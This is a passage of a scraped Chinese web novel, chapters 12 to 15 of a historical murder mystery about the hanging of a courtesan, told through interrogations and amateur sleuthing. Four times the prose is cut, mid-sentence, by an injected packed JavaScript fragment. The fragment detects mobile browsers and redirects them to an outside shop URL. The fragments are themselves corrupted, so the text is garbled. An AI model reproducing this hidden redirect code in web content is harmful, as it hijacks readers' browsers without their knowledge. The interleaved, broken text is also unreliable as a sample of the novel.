;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255580|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岚见了陆冰的神色,立刻明白了。二人方才的对话他并没听全。他只是带着黑犬循着气味追踪至此。可陈思贤是个一根筋,真以为叶青岚是提刑司派来的,自己的秘密反正已经藏不住了,索性和盘托出。 “我是买通了后厨下药,可她不是中毒死的,是吊颈死的。和我无关,和我无关啊!” 陆冰转了转眼珠,嘴角缓缓勾起,“原来此案还事关毒药。杀人未遂,亦属重罪。既然死因有疑,待我回去,就让仵作剖尸查验。” “剖……剖尸?!你们要把绛珠切开来?” “正是。” 陈思贤脸上的表情由惊恐转为狂怒,“她已身死,遗体还要受此侮辱,你们提刑司简直丧心病狂!禽兽不如!” 禽兽二字一出,那条黑犬不干了,立刻狂吠起来,四腿乱蹬,挣脱了叶青岚的手,扑上去欲咬。 陆冰一声呼哨喝止了黑犬。他牵住缰绳,怜爱地摸了摸它的头。 “畜生有时候可比人有用,若没有它,我的人早就把你跟丢了。” 话音未落,山道上传来杂乱的脚步声,一队差役气喘吁吁地追上来。那狗欢快地摇着尾巴,傲视同僚。 陆冰一声令下,差役们抓住陈思贤,用粗麻绳捆住他的手脚。 陈思贤眼眶通红,哀嚎道,“绛珠,我对不起你!”,用力一挣,额角对准一块山石撞去,两名差役把他拽回来,牢牢摁在地上,对准后背狠踹了几脚。 “想以死谢罪?还没到时候呢。” 叶青岚实在瞧着不忍,“陆捕头,我方才审问这位陈公子,他行事虽不妥,却并无杀人之实,罪不至死。” 陆冰缓缓转头,“你是何人?” 很明显,他早就想问这句话了,一直憋到现在。 看过来的眼神也和以往不同,没有那么高傲,多了几分掂量。 叶青岚突然冒出一个怪念头。 今日的陆捕头,竟像是……有些怕他。 提刑司的三板斧能怕什么人?他爹、他娘、还是那个不依不饶的家丁?叶青岚的脑筋飞速转动。他上回控诉陆冰的话犹在耳边,“我要告上刑部,告上大理寺,我要告御状!” 是了,大萧的所有官员,都怕同一个人。叶军师今日要换个身份。 他清了清嗓子,“在下叶青岚,浮世一闲人,其他的身份,时机一到,陆捕头自然知晓。” “本捕头不喜欢故弄玄虚之人。” 叶青岚对着空气一拱手,“那位正是看重陆捕头初生牛犊、敢做敢为,颇有惺惺相惜之意。” 陆冰神色一变。 初生牛犊、敢做敢为……说的不正是当今圣上么?圣上冲龄即位,野心勃勃,到处培植亲信,与权倾朝野的护国公抗衡。 两年前,朝廷成立飞雁门,为天子耳目,监察朝堂官员,探查民间异事。飞雁门中多能人,来去无踪,身份成谜。满朝文武,无不闻飞雁门而色变。 12. 第 12 章 眼前这个穿着朴素、神态闲雅的男子若真是飞雁门的密探,他的话可以直接上达天听。听他说起话来鼻音甚重,说不定是故意掩饰本音。 若非密探,怎能抢在提刑司前头抓获嫌疑人,还问出了关键的口供? 陆冰越想越觉得合理,态度竟前所未有地谦和起来。 “听下属回报,叶公子方才当街抓走嫌疑人,可是发现了什么疑点?” 叶青岚觑他脸色,知道计策奏效。他哪知道提刑司跟踪陈思贤,方才只是随便找个借口骗他跟自己走,不料歪打正着。今天的运气真不错。 “陈公子曾经与照夜妃交往甚密,后因钱财起了纠纷,瘦得形销骨立,此事许多人都知道。他被抓后,虽凭借举子身份被释放,却并未洗清嫌疑。我生怕陆捕头漏掉这条线索,便越俎代庖了。” “本捕头绝不会放过一个恶人。” “陆捕头英明神武,是在下多此一举了。案子上若有什么为难之处,在下可略尽绵薄之力。” 陆冰勾起唇角。眼前这人八成是飞雁门的。他正愁抓的人太多,审不过来,若把此人拉拢过来,既能多个帮手,又能揭露礼部侍郎之流阻挠办案的劣迹,树立自己不畏强权,全力追凶的光辉形象,可谓一箭双雕。 “叶兄若肯襄助,在下感激不尽。” 风水轮流转,叶青岚从“刁民”摇身一变成了“叶兄”,大有扬眉吐气之感。 “好说好说,在下愿为陆兄效犬马之劳。” 那黑犬听到“犬马之劳”,感觉自身地位受到威胁,对着叶青岚一通狂吠。陆冰俯下身,一手捏住狗嘴,将狗叫声闷在嘴筒里。 “押送人犯,回提刑司。” 审讯室和叶青岚上次来时大不一样,人声鼎沸,灯烛高烧,热气混着汗臭,熏得人脑袋发晕。 差役领着一队队穿着体面的人犯登记,师爷坐在高高的案卷后面奋笔疾书,一名书吏拿着一张画了手掌印的纸,抓过人犯的手一一比对。 那掌印是从照夜妃窗口的柱子上拓下来的。虽然子时过去,关于叶青岚的记忆都抹去了,可手掌印是客观存在的痕迹,不会消失。在陆冰的记忆里,是他自己发现了手掌印,并将其认定为重要线索。 见到老大回来,差役们纷纷行礼,“陆捕头!” “怎么才你们几个?其他人呢?” “禀陆捕头,都派出去抄家了。” “审得如何了?” “刚审完第五十三人。” 叶青岚暗暗咋舌,这么多。 “这么少!才五十三人!你们属蜗牛的么?” “属下们谨遵吩咐,事无巨细都要问清,如何结识照夜妃,见过几次,睡过几次,聊过什么,送过什么礼物,价值几何,案发当晚人在何处,在做什么,何人可以证明……” “够了,有没有可疑之人?” “说不清案发当晚行踪的,都关进牢房了。” “好,”陆冰指指陈思贤,“把这个也关进去。” 陈思贤麻木地跟着差役走了。 叶青岚问,“陆捕头,这批人犯是从哪里请来的?” “京城有钱人常去的酒楼、赌坊,还有商行。把蔡妈妈带过去指认几回,就抓得差不多了。” “佩服,佩服。以陆兄这一网打尽的惊人毅力,必不会久居于人下。” 陆冰听他夸赞,极为舒坦,“借叶兄吉言。此间如何行事,还请叶兄指点。” “好说,好说,”叶青岚眼珠一转,正想找仵作聊一聊,蓦地火光一闪,照亮了角落里的一颗头。 他脱口而出,“红烧肉圆?!” “叶兄饿了?来人,备饭。” “不,我说的是他。”叶青岚指了指那颗头,“陆捕头能不能先审他?” 差役过去,把那颗又肥又圆的头和更肥更圆的身体从人群中拖了出来。 陆冰坚决要让叶青岚坐主审位,叶青岚坚决推辞,来回拉扯了半个时辰,说得口干舌燥,陆冰终于让步。他坐上堂,一拍惊堂木,喝道,“姓名、年龄、籍贯、职业,速速道来!” 叶青岚坐在师爷边上,端起一杯冷茶咕嘟咕嘟灌了下去。 那胖子穿一件水蓝色的绸衫,委屈地眨着眼睛。 “小人名叫韩崇德,今年三十有八,京城人士,是城西宝祥粮油店的掌柜。” “你如何结识照夜妃?” 那胖子苦着脸,“小人认识她的时候,她还不叫这个名字呢。四年前她只是醉春风的一名舞姬,小人看了她一支折腰舞,鬼迷了心窍,便和她有了来往。” “见她一次要多少钱?” “当时只要一两银子。” “你见了她几次?” “数不清了。” “看来韩老板家底厚得很。” “小人做的是小本买卖,这粮油店是祖上传下来的,就算有些积蓄,也是坐吃山空。很快银子就花光了,我对她说 ,手头实在有些紧,没法再见她了。她痛哭了一场,叫我为她赎身,说宁愿为奴为婢,也要跟着我。我一时心软,就把家里的金银细软、房契地契都拿出去典当了。” 叶青岚挠挠头,这照夜妃对付恩客真有一套,韩崇德和陈思贤的遭遇如出一辙,不知谁的结局更惨。 “我把一家一当都给了她,可她突然像变了个人,拒不见我,我去醉春风苦等,妈妈说她得了重病,请了最好的郎中医治,银子流水一样花下去,病情却不见好转。我心急如焚,只求能够见她最后一面。” 韩崇德悲悲切切道,“那时正值寒冬腊月,她隔着一条厚厚的帘子伸出一只枯瘦的手来,说今生福薄,我的恩情来世再报。” 陆冰问,“她得了什么病?” “大人,这根本就是醉春风谋夺我钱财的一出奸计啊!我失魂落魄地离开后,没过多久,生意又遇到波折,因为还不出钱,房子和铺子都被债主收去了。年过七旬的老母亲跟着我流落街头,听说我为了一个青楼女子倾家荡产,人财两空,急火攻心,一口气转不过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255581|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就此去了。” 叶青岚暗暗唏嘘。这个韩崇德的比陈思贤更倒霉。 陆冰冷冷道,“你就此恨上了她,一心报复,是不是?” “我当时连个落脚地都没有,顾不上恨她,借钱安葬了老母,匆匆离开京城,搭了商船沿运河南下,投奔远方亲戚去了。大人,你信不信天无绝人之路?我若不去南方,也不会做起丝绸生意,若不做丝绸生意,也不会赶上好年景大赚一笔,还了亲戚的本金,还有盈余,又用盈余重新开了粮油铺子。四年后我带着五千两银子回到京城,决心把旧铺子买回来,让宝祥的招牌再立起来,一进城,你猜我看到什么?” 陆冰一拍惊堂木,“老实交代,你当这是说书呢?” “是,是。大人恕罪,我一想到这事就激动。我看到全城的浮浪公子、富贵闲人一窝蜂地赶去醉春风,看新任花魁照夜妃表演嫦娥奔月舞,我到那儿一看,傻了眼,这不就是四年前病死的绛珠吗?她骗光我的银子,气死我老母,害我倾家荡产,自己倒摇身一变,成了万人追捧的花魁了!亏我去年还花了十钱银子,请人写了篇情真意切的悼文烧给她呢!” “为何要请人写?” “小人不通文墨啊。” “那照夜妃通文墨吗?” “也不通。” “那这篇悼文给谁看?” 韩崇德眨巴着眼睛,“小人已请那书生写好一篇悼念先母的,他说一篇六钱,两篇十钱,小人就想起了绛珠……” 叶青岚清了清嗓子,“扯远了。” “是,小人当时见到她生龙活虎,还在月下跳舞,又惊又怒,隔天就怀揣着一沓银票,去醉春风讨说法。” “你见到她了?” “没有,求见的王孙公子从城东门排到城西门,小人要见她还得等一个多月!” 叶青岚幽幽道,“韩老板好肚量,若换了别人,早就气死了。” “大人说的是!韩某别的本事没有,这几年大起大落,涵养工夫确实练出来了。我忍到踏进醉春风那天,当着全楼的人历数绛珠的所作所为,把她骂得羞愤欲死,又把一沓银票摔在她脸上。她当年为了区区这点银子践踏我的真心,没想到我还有东山再起的一天!” 他说到这里,双眼放光,额头上都沁出了汗。 陆冰问,“后来呢?” “没了!我痛斥她一顿,出了这口恶气,再也没踏进醉春风。” “当真?” “小人不敢欺瞒。官爷传我来问话,说恩客簿子上记了我的名字,就是去年十月我去报复她那一次。那腌臜地方曾害得我倾家荡产,我怎会再去。” “如此深仇,你痛斥了她一顿就算了?” 韩崇德眼神闪烁,“还……还让她吃了些床笫间的苦头。” 陆冰厉声道,“你没用天蚕丝勒死她?” 韩崇德惊恐道,“那可是杀头的重罪!小人万万不敢啊!小人好不容易重开宝祥粮油铺,每天忙都忙不过来,哪有空去杀人……” 13. 第 13 章 “可事发当晚,你独自在家,无人能证明。” “老母过世后,小人一直独居。” “就没想过找个老婆?” “想的,”韩崇德的大圆脑袋往前凑了凑,“大人可认识家世清白、品貌兼备的好女子?” 陆冰沉默片刻,讥讽道,“那样的好女子,配你岂不糟蹋了。” 韩崇德额头上的汗又滴下来,讪讪道,“大人说的是。” 叶青岚问道,“昨日卯初,你在何处?” “在家睡觉。” “没去醉春风?” “没去啊。那地方与小人八字相冲,小人避之唯恐不及。” 叶青岚盯了他半晌,淡淡道,“此人看起来不太老实,陆捕头不妨多关他几天。” 第六日 叶青岚这一夜睡得极不安稳,做梦都在琢磨案子。 折腾了几日,爬了屋顶跳了湖,坑蒙拐骗,威逼利诱,栽赃陷害,非但没诈出真凶,嫌疑人反而越来越多了。 蔡妈妈是个老奸巨猾的,还豢养打手。花魁要赎身,她怎会甘心。阿猫阿狗说当晚没有人出入照夜妃的房间,若他们替雇主作了伪证呢?唯一的障碍在于门是从里面锁上的,而钥匙被提刑司的人搜出来了,就放在照夜妃的梳妆台上。 若说凶手是从窗户出入的,住在隔壁的幼薇最为可疑。那一夜她的房门可没上锁,只要她愿意,完全可以把窗户借给凶手使用。最让人想不通的是那个忽大忽小的掌印,究竟是男人留下的,还是女人留下的? 与照夜妃有过节的恩客抓到两人,一是陈思贤,一是韩崇德。一个痴心不改,一个痛斥旧爱,嘴上都说不敢杀人。谁在撒谎?这两位仁兄的体格一个太瘦,一个太胖,要爬窗户翻屋顶,都有些困难。不过韩崇德是个有钱人,完全可以雇人行凶。 叶青岚想象着一个蒙面的黑衣人翻进窗户,将天蚕丝绕在练舞的照夜妃脖子上,狠狠收紧,等她断了气,再举起她的尸身,挂到窗外。 他当时明明就躺在房间里,偏偏误服了陈思贤下的无梦散,睡得人事不知,否则多少能听到点动静。 叶青岚猛地睁开眼睛。 似乎有哪里不对。 晨光透过窗格洒在客栈的床上。肚子咕咕叫了起来。 他懒懒翻了个身,拿过昨天吃剩的烤饼啃了一口,差点把牙硌掉。 抓起钱袋一倒,一枚铜板孤零零地滚出来。 最近开销有点大。真该考虑去提刑司混吃混喝了。 几番交手,叶青岚大致摸清了陆冰的脾性。此人虽外表凶狠,对查案却是极认真的,不达目的誓不罢休。只要抓住他的弱点,拿捏起来易如反掌。 昨日扮演飞雁门密探很成功,今日不妨继续演下去。 叶青岚住的客栈离醉春风不远。他刚踏出大门,还没往提刑司走呢,提刑司的人倒先来了。 陆冰不在。领头的是个大胡子差役。 他押着一长串人走出醉春风,龟奴、乐工、大厨、干粗活的小丫头、阿猫阿狗和窈娘都赫然在列。 看来陆捕头终于意识到杀照夜妃的凶手不一定是恩客了。楼里不起眼的下人也有嫌疑。他要把醉春风所有的人都抓去审一遍。 叶青岚叹了口气。这一网打尽的法子实在是费时费力,殃及无辜。 蔡妈妈叉着腰,连装都不装了,拧着眉破口大骂,“天杀的狗官,不就是死了个婊子嘛,天天堵着门抓人,还没完没了了!自己的屁股还没擦干净呢,惹急了老娘把你们那些脏事都抖落出来!” 大胡子差役怒喝,“你嘴里不三不四地说些什么?” “来来来,你们把我也抓去吧!反正我这醉春风也开不下去了。” 她猛地伸手,把队伍末尾的窈娘拉了过来,窈娘的腿不能弯曲,踉跄了一下,险些扑倒。 “窈娘是我楼里的舞蹈教习,上元舞全靠她指点,她不能跟你们走!” “放肆!提刑司办案,有你说话的份吗?” “要抓她也行。后天就是上元节,到时我就跟王公贵族们说,提刑司抓了我的舞蹈教习,请贵人们去牢里看舞吧!” 大胡子差役怒道,“难道这上元舞是现教现学么?” “当然不是,可原来的舞姬死了,新顶上的正没日没夜地练呢!你们前天还差点把她从三楼窗户推下去。幼薇,你出来!” 幼薇一身绿衣,脸色苍白地走出来。 “看这姑娘被你们折磨的,脸瘦了一大圈,只剩下半条命了。” 叶青岚微感歉疚。她这几日受的惊吓,大都是拜他所赐。 幼薇盈盈下拜,“官爷,陆捕头前日亲口说我是清白的。我可以为窈娘作保,求你们放过她吧!” “不行,陆捕头吩咐了,醉春风所有人都要带回去审过。” 蔡妈妈道,“他人呢?让他自己来这里审吧!窈娘这腿脚,还能跑到哪里去?!” 窈娘低声道,“求官爷通融两日。待上元舞演完,老身自己去提刑司请罪。” 大胡子差役脸上闪过一丝犹疑。蔡妈妈抢上前去,“陆捕头和我醉春风可是有交情的,我帮他指认那么多客人,他忍心过河拆桥吗?” 大胡子回头和差役们商议几句,终于让步,“罢了。我们两日后再来请窈娘。若到时找不到人,你提头来见。” 一行人抓着绑人犯的绳子,风风火火地去了。 蔡妈妈对着他们的背影,狠狠啐了一口。 “不得好死的白眼狼。” 一转头,看到个斯文俊俏的公子,目光深邃地打量着她。 蔡妈妈瞬间换上一副笑脸,“公子打哪儿来呀?要不要进去坐坐?” 叶青岚道,“我是奉提刑司陆捕头之命,来查照夜妃一案的。” 蔡妈妈的脸一下子垮了,“你和那些差役是一伙的?” “非也。”叶青岚盯着她的眼睛,“不过按三板斧的行事风格,醉春风一日不交出凶手,就一日不得安宁。” “谁说凶手是我楼里的?” “谁又能保证不是呢?”叶青岚掏出一块黑漆镶金的令牌,乃是他昨天从提刑司顺手牵羊来的,“窈娘姑姑,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255582|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请借一步说话。” 湖风轻柔,水波粼粼,幼薇在画舫头上翩翩起舞,绿色的倒影映在水中,腰肢如杨柳轻摆,引人遐想即将到来的春天。 窈娘嫌弃地啧了一声。 “一塌糊涂。” 叶青岚问,“姑姑觉得幼薇跳得不好?” “比照夜妃差远了。”窈娘转过身,“我知道官爷要问什么。照夜妃的上元舞是我教的。在醉春风,我也算是和她相熟之人。” “姑姑和她没有过节吧?” 窈娘瞥了他一眼,“没有。” “那就好。” 叶青岚至今问过的所有人都和照夜妃有仇。他们口中的她嚣张跋扈、欺凌同行、任性妄为、贪婪狡诈。可她真是这样的人吗? 他想听听旁人的说法。 “照夜妃天资聪颖,学舞极快,一支上元舞,只学了五天就纯熟了。” “上元舞要在船上跳?” “不错。去年中秋是嫦娥奔月,今年上元是凌波仙子踏月而来。公子到时一看便知。” “这么说练舞也必须到此处?” “那倒不是。上元舞何其隆重,若是提前让人看光了,达官贵人们还看什么?要么清晨无人时来湖边练,要么关在房中练。” “难怪照夜妃夜夜闭门谢客,原来是要练舞。” 窈娘略一迟疑,“就当她是练舞吧。” “哦?” “老身腿脚不便,爬一次楼就要了老命,总不能每晚上去盯着她。她学会了动作以后,对我也敷衍了,三天打鱼两天晒网,心思全在男人身上。” “哪个男人?” “这是我自己瞎猜的,官爷不必当真。” “本官爷就爱听人家瞎猜。” 窈娘瞥了他一眼,“有个绰号风流债主的陈公子,和照夜妃交往甚密,为她一掷千金,弄得身无分文,形销骨立。官爷可听说过?” “知道。据说他的钱都被照夜妃拿去买舞衣了。两人就此结了仇。” “哼,她那件舞衣花里胡哨的,我一点都看不惯,天晓得花了多少银子。但要说两人结仇则未必。照夜妃私下跟我说,等她走了以后,会把那些银子还给陈公子。不过在此之前,要把他作践个够。” “啊?” 窈娘叹气,“她这个人就是这么别扭,心里喜欢谁,偏要口出恶言,把人家的真心践踏到底,再捡起来。偏偏男人都吃这一套。那陈公子虽没钱了,还天天来这附近转悠,心里根本就放不下她。” 叶青岚灵机一动,“难道这两人暗中幽会,准备私奔?” “多半是的。” 叶青岚眼前似乎笼罩了一层迷雾,那拖着鼻涕的倒霉陈公子变得面目可疑起来。 “你说,照夜妃会不会等不及跳完上元舞就私奔?” 窈娘的胳膊动了一下,好像要举起竹枝去打人。叶青岚顺着她目光看去,只见幼薇在船头一个接一个地转圈,身姿模糊成一团绿影。 “唉,又跳错了。官爷方才说什么?” 叶青岚重复了一遍。 14. 第 14 章 窈娘皱眉想了想,苦笑,“她若真要走,我又有什么办法。莫说当了花魁,她以前不当花魁的时候脾气就大得不得了,连妈妈都要让她三分。只是这支上元舞花了那么多心血,跳不成就太可惜了。” 她顿了顿,望着幼薇,眼中闪过冷意,“看她如此笨拙,这支舞横竖是毁了。” “为什么选她来跳?” 窈娘脸上如同罩了一层严霜,“这就要问蔡妈妈了。” “上元舞如此重要,幼薇这次可算捡了个大便宜。” 窈娘沉默片刻,“便宜谁不想捡。干我们这一行的,花无百日红,年轻时不为自己挣个出路,老了日子可不好过。” “可她毁了上元舞,姑姑岂不伤心?” 窈娘伸出竹枝,缓缓敲打自己左腿,“十年前我从台子上摔下来,伤了腿,在床上躺了三个月,再也无法跳舞。那才叫真的伤心。我这双腿,从前能转圈连转一个时辰,现在连路都走不快。若我还能上台,哪里轮得到这些小丫头。” 她说到最后,神色怅然,叶青岚莫名想起一句话,自古美人如良将,不许人间见白头。 “最后一个问题,姑姑腿脚不便,想必住在一楼?” 窈娘指了指画舫后面的一扇窗,“那就是我的房间。” “姑姑这窗户临着湖,事发当晚,可有听到什么动静?” 窈娘垂眸,“老身每晚靠安神香入眠,睡得早,什么都没听到。” 叶青岚盯了她一会儿,微微一笑,“祝表演成功。” 马车粼粼行驶在官道上,两边景物飞速远去,连跑了一个时辰,才抵达京城最大的城南集市。叶青岚从车上下来,朝车夫晃了晃提刑司的令牌。车夫看清上面的字,吓得连钱都没敢要,行了一礼,调转车头走了。 这黑漆镶金的令牌还真好用。 京城有名的绸缎庄和成衣铺都在这儿了。要弄清楚照夜妃那件舞衣花了多少钱,少不得亲自跑一趟。 临近上元佳节,集市上热闹非凡,到处都是灯笼彩带,顾客们摩肩接踵,喧嚣震天。叶青岚跟着一群打扮得花枝招展的女客,在迷宫般的摊位间绕来绕去,越走越觉得惭愧。摊子上卖的东西倒有一半叫不出名字。在人间这五十年算是白晃悠了,见识竟短浅至此。价格也令人迷惑,一小盒胭脂要三钱银子,他那点钱只够买个盒子盖。 每经过一间成衣铺,他就进去打听金丝绣线的彩衣,家家都说能做,只是报出的价格差异极大,从十两到一百两不等。 若那件舞衣真的价值一百两,把陈思贤卖了都嫌不够呢。 叶青岚追问那报价一百两的老板,“这也太贵了,我们是小班子演出,又不给皇上跳舞。” 老板一挑眉,“那你要金丝绣线干什么?随便拿件云锦得了。” “这不是家里小娘子难伺候么,不知从哪儿看到一件舞衣,心心念念,吵着要一模一样的。” 老板想了想,“你家小娘子莫不是去过醉春风?” 叶青岚心跳加快,“或许去过吧。” “她多半看见人家花魁娘子定制的舞衣了。那件衣服不光好看,还有别的功用。你家小娘子又不跳上元舞,用不到的。” “一件衣服还能有什么功用?” “现在说这些还有什么用。”老板压低声音,“听说那照夜妃被恶鬼索命,吊死了。” 叶青岚这回当真惊讶了,“恶鬼?” “嗯,滴翠湖闹鬼,你知道吧?提刑司全城搜捕了三天,想抓凶手,其实根本抓不到的。” “恶鬼为什么只索照夜妃的命?” “她倒霉呗。” “该不会那件舞衣太漂亮,连鬼都想要吧!” 老板脸色一变,“胡说八道!你到底买不买,不买赶紧走!” “我买,我买,”叶青岚把钱袋子拍在桌上,往外一倒,那唯一一枚铜板丁零当啷地滚了出来。 他抬起头,神色尴尬。 老板气愤地往外推他,“这点钱留着给自己买烧饼吧。” “赊账行吗?” “赊你个头。你是不是对家派来刺探的?回去告诉你们王掌柜,想收购我城西的铺子,没门!” 叶青岚悻悻离开。 这老板说不定知道点什么。等明天老板忘记他了,再来碰碰运气。 回去还得雇马车,可路上一辆接着一辆驶过的都是大户人家的私人马车。叶青岚等了半天,肚子实在饿得不行,便干起了老本行:算命。 他拦住几个姑娘,盯着人家的眼睛,说自己是先知,要给人家看手相,煞有介事地算了半天,算出一个荣华富贵,两个子孙满堂,三个家宅平安,四个吉星高照。姑娘们被哄得眉开眼笑,欣然同意捎他一程。 上了马车,听说他住在滴翠湖附近的客栈,姑娘们神情有些微妙。 “叶先生是去醉春风看上元舞的吧?想不到先知也有如此雅兴。那附近的客栈半个月前就订满了。” “不瞒小娘子说,最近出了命案,吓走了一批人,又空出来几间房。” “我们听说,那花魁之死非人力所为。找提刑司破案是枉费力气,应当请方士们作法。” 叶青岚哭笑不得,原来这案子在民间已传成了这副模样。 “实不相瞒,在下正是受醉春风蔡妈妈之托,去爙灾祈福。” 姑娘们一听,兴奋不已,连声问他祈爙仪式什么时候举行。 叶青岚一本正经道,“待我门中师兄弟聚齐后,于十五月出之时向天祷告。” “那不正是上元舞开始表演的时候?” “不错。届时湖东岸跳舞,湖西岸祈爙。几位一定要早点来,抢个视野开阔的好位置。” 马车停在滴翠湖畔,姑娘们依依不舍地放他下车。叶青岚大袖飘飘,走向醉春风,还真让他走出了几分仙风道骨的气质。 “啊——” 蔡妈妈杀猪般的嚎叫随着湖风传遍了整条街。 “大家来看啊,提刑司当街杀人啦!” 叶青岚一阵错愕。陆冰疯了? 醉春风门口围了一圈人。早上那个大胡子差役去而复返,一把明晃晃的钢刀架在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255583|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔡妈妈脖子上。 “省点力气,不必装疯卖傻了,你这个杀人凶手!” “我是凶手?官爷你开玩笑吧?” “谁同你开玩笑?你楼里的阿猫阿狗吃不住拷打,已经招供了,照夜妃遇害前夜,你进过她的房间。” “什么?!” 大胡子得意洋洋,“你先前是怎么对陆捕头说的?照夜妃晚上锁了房门,谁都不让进。这下露出马脚了吧。” 差役一拥而上,麻利地将蔡妈妈捆了,架上马背。 蔡妈妈梗着脖子喊,“就算我进她房间又怎么了?我是这里的妈妈,哪间房不能进?!” “这些话留着对陆捕头说吧。走!” 大胡子拨转马头,扬长而去。 街上静了片刻,然后议论声像湖中央的涟漪,一圈一圈扩散开来。 “这老鸨好狠的心肠。” “你还真相信是她杀了人啊?” “青楼里死个姑娘再寻常不过了,提刑司这么大张旗鼓地查案,纯属吃饱了撑的。” “提刑司冤死的人还少么?” “哎哟,这可不兴说啊。” “闹成这样,上元舞还演得成吗?” “离上元夜只有两天了,我还指着靠这波人流大赚一笔呢。” “都怪那花魁,偏偏死在这个节骨眼,哪怕晚死几天呢?” “这可由不得她。”一道洪亮的声音插了进来。叶青岚凝目一看,是渺渺茶馆里那个说书的。老先生捧着个茶壶,在人堆里穿进穿出。茶客们不去听书,他便亲自出来找听众了。 “诸位有所不知,那照夜妃是被冤魂索命而死的。” 人群耸动。 “醉春风里每回失手弄死了姑娘,便扔进湖里,久而久之,尸骨堆积,再加上怨气,近日终于养出一只厉害的怨鬼来。这些姑娘生前不是被花魁抢过风头,就是被恩客折磨凌辱,或是被妈妈毒打,必定要一一报复回来。第一个倒霉的是照夜妃,接下来,客人、妈妈,全都逃不过。” 无人质疑。大家都觉得这个说法合情合理。 叶青岚凑上前,“那怨鬼长什么模样,可有人见过?” 老先生捋捋胡子,“公子于月明星稀之夜,往湖面看去,若看到一闪而过的白影,便是了。” 叶青岚一贯对怪力乱神之事深信不疑。只因他本人就是活生生的例子:一副不老不死的躯体,一个永远不会被人记住的诅咒。 可他在人世间游荡了五十年,还没有亲眼见过鬼。鬼长什么样子?鬼杀人用得着勒脖子吗?又为什么要用上天蚕丝? 叶青岚躺在漆黑的画舫里,苦苦思索。 冬夜苦寒,子时未到,街上就杳无人声了。摊主们早早地收摊回家。只有醉春风里的灯还亮着,偶尔传出几声零碎的丝竹管弦。 一轮接近滚圆的月亮从山顶冒出头,银色的清辉洒向湖面。夜空安静澄澈,无星亦无云,水波映着微光,看不到什么白色的鬼影。 叶青岚长腿一摆,下了画舫,沿着岸边走到醉春风临湖一侧的柱子。 15. 第 15 章 大厅里的灯亮着,窈娘的窗口已经黑了。他双腿一蹬,抱住柱子,一寸一寸往上爬。 有了上次的经验,这回顺利许多,一口气攀上屋顶。叶青岚猫着腰走到照夜妃的房间顶上,晃亮火折子,靠近与幼薇房间相连的柱子。 火光照亮一小块红漆,他呼吸一滞,手印没了! 仔细一看,还在,只剩一圈浅浅的印子。 想想也是,此处露天,经过几日的风吹日晒,手印变淡也是情理之中,再过一日可能就彻底看不见了。 他不甘心地伸出自己的手掌,想再比对一次。掌心与柱子重合的瞬间,脑海中蓦地闪过一个念头。 原来如此! 他、陆冰、提刑司,他们所有人都被骗了! 叶青岚差点大笑出声。他最初的直觉没有错,只不过其中一个小关窍出了问题。 此案已想通一半,剩下的,就是抓住飘在湖面上的那只怨鬼。 他撑着头,依着歇山顶躺了下来。 夜风阴寒。 滴翠湖的湖底应该比这高处还要冷。 那里沉了多少姑娘的尸体? 说书先生有一句话说得对。青楼里死个姑娘,根本就是稀松平常之事。 这些女子天生薄命,即便练成了绝美的歌喉、高妙的舞技,也不过是世人轻贱的玩物。甩出几张银票,就可以随便让她们“吃些苦头”。 人人都诟病照夜妃脾气极坏。可设身处地地想想,身在这么一个吃人不吐骨头的欢场,谁的脾气又能好得了呢? 只不过有些人发泄出来,有些人憋在心里。 一个花魁死了,马上有另一个顶上。世间从来不缺苦命的姑娘。 叶青岚翻了个身坐起来。腿有些麻了。 他大可以一走了之。 此案从头到尾,他被陆冰当作嫌疑人抓了三次。若非上天厚爱,让他侥幸逃脱,只怕早已作为凶手处斩了。 提刑司锲而不舍地抓人拷打,早晚会抓住一个倒霉蛋,安上杀人的罪名。 抓对了还好,抓错了,又是一条冤魂。 可世上每天都在死人。五十年来他见过太多了。男女老少,贫穷富裕,高贵卑鄙,除他以外,人人都要走向那相同的归宿,早一点走和晚一点走,又有多大分别。 